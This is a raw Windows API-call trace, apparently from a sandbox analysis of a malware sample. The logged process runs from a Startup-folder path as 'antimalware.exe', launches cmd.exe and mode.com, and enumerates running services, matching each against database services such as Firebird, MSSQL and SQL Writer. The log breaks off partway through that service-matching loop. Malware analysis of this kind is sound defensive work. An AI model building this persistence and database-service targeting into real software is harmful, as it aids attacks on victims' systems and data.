	[0141.516] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0141.516] lstrlenW (lpString="svchost.exe") returned 11
	[0141.517] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0141.518] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0141.518] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0141.519] lstrlenW (lpString="taskhostw.exe") returned 13
	[0141.519] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0141.519] lstrlenW (lpString="msoia.exe") returned 9
	[0141.520] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0141.522] lstrlenW (lpString="taskhostw.exe") returned 13
	[0141.522] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0141.523] lstrlenW (lpString="explorer.exe") returned 12
	[0141.523] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0141.542] lstrlenW (lpString="SearchUI.exe") returned 12
	[0141.542] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0141.543] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0141.543] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0141.544] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0141.544] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0141.545] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0141.545] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0141.546] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0141.546] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0141.547] lstrlenW (lpString="cmd.exe") returned 7
	[0141.547] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0141.549] lstrlenW (lpString="conhost.exe") returned 11
	[0141.549] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0141.566] lstrlenW (lpString="mode.com") returned 8
	[0141.566] Process32NextW (in: hSnapshot=0x424, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0141.567] CloseHandle (hObject=0x424) returned 1
	[0141.567] Sleep (dwMilliseconds=0x1f4) 
	[0142.148] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0520
	[0142.149] EnumServicesStatusExW (in: hSCManager=0x45b0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0142.149] GetLastError () returned 0xea
	[0142.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x4591700
	[0142.704] EnumServicesStatusExW (in: hSCManager=0x45b0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4591700, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4591700, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0142.705] CloseServiceHandle (hSCObject=0x45b0520) returned 1
	[0142.705] lstrlenW (lpString="AppXSvc") returned 7
	[0142.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0142.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0142.705] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0142.705] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0142.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0142.705] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0142.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0142.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0142.705] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0142.706] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0142.706] lstrlenW (lpString="Audiosrv") returned 8
	[0142.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0142.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0142.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0142.706] lstrlenW (lpString="BFE") returned 3
	[0142.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0142.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0142.706] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0142.706] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0142.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0142.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0142.706] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0142.706] lstrlenW (lpString="CDPSvc") returned 6
	[0142.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0142.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0142.706] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0142.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0142.706] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0142.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0142.707] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0142.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0142.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0142.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0142.707] lstrlenW (lpString="CryptSvc") returned 8
	[0142.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0142.707] lstrlenW (lpString="DcomLaunch") returned 10
	[0142.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0142.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0142.707] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0142.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0142.707] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0142.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0142.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0142.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0142.708] lstrlenW (lpString="Dhcp") returned 4
	[0142.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0142.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0142.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0142.708] lstrlenW (lpString="Dnscache") returned 8
	[0142.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0142.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0142.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0142.708] lstrlenW (lpString="DPS") returned 3
	[0142.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0142.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0142.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0142.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0142.709] lstrlenW (lpString="DusmSvc") returned 7
	[0142.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0142.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0142.709] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0142.709] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0142.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0142.709] lstrlenW (lpString="EventLog") returned 8
	[0142.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0142.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0142.709] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0142.709] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0142.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0142.709] lstrlenW (lpString="EventSystem") returned 11
	[0142.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0142.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0142.709] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0142.709] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0142.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0142.709] lstrlenW (lpString="FontCache") returned 9
	[0142.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0142.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0142.709] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0142.710] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0142.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0142.710] lstrlenW (lpString="gpsvc") returned 5
	[0142.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0142.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0142.710] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0142.710] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0142.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0142.710] lstrlenW (lpString="iphlpsvc") returned 8
	[0142.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0142.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0142.710] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0142.710] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0142.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0142.710] lstrlenW (lpString="KeyIso") returned 6
	[0142.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0142.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0142.710] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0142.710] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0142.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0142.710] lstrlenW (lpString="LanmanServer") returned 12
	[0142.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0142.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0142.710] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0142.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0142.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0142.711] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0142.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0142.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0142.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0142.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0142.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0142.711] lstrlenW (lpString="lfsvc") returned 5
	[0142.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0142.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0142.711] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0142.711] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0142.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0142.711] lstrlenW (lpString="lmhosts") returned 7
	[0142.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0142.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0142.711] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0142.711] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0142.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0142.712] lstrlenW (lpString="LSM") returned 3
	[0142.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0142.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0142.712] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0142.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0142.712] lstrlenW (lpString="MpsSvc") returned 6
	[0142.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0142.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0142.712] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0142.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0142.712] lstrlenW (lpString="NcbService") returned 10
	[0142.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0142.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0142.712] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0142.712] lstrlenW (lpString="netprofm") returned 8
	[0142.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0142.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0142.712] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0142.712] lstrlenW (lpString="NgcSvc") returned 6
	[0142.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0142.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0142.712] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0142.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0142.712] lstrlenW (lpString="NlaSvc") returned 6
	[0142.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0142.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0142.713] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0142.713] lstrlenW (lpString="nsi") returned 3
	[0142.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0142.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0142.713] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0142.713] lstrlenW (lpString="PcaSvc") returned 6
	[0142.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0142.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0142.713] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0142.713] lstrlenW (lpString="PlugPlay") returned 8
	[0142.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0142.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0142.713] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0142.713] lstrlenW (lpString="Power") returned 5
	[0142.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0142.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0142.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0142.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0142.713] lstrlenW (lpString="ProfSvc") returned 7
	[0142.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0142.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0142.714] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0142.714] lstrlenW (lpString="RpcEptMapper") returned 12
	[0142.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0142.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0142.714] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0142.714] lstrlenW (lpString="RpcSs") returned 5
	[0142.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0142.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0142.714] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0142.714] lstrlenW (lpString="SamSs") returned 5
	[0142.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0142.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0142.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0142.714] lstrlenW (lpString="Schedule") returned 8
	[0142.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0142.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0142.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0142.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0142.714] lstrlenW (lpString="SecurityHealthService") returned 21
	[0142.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
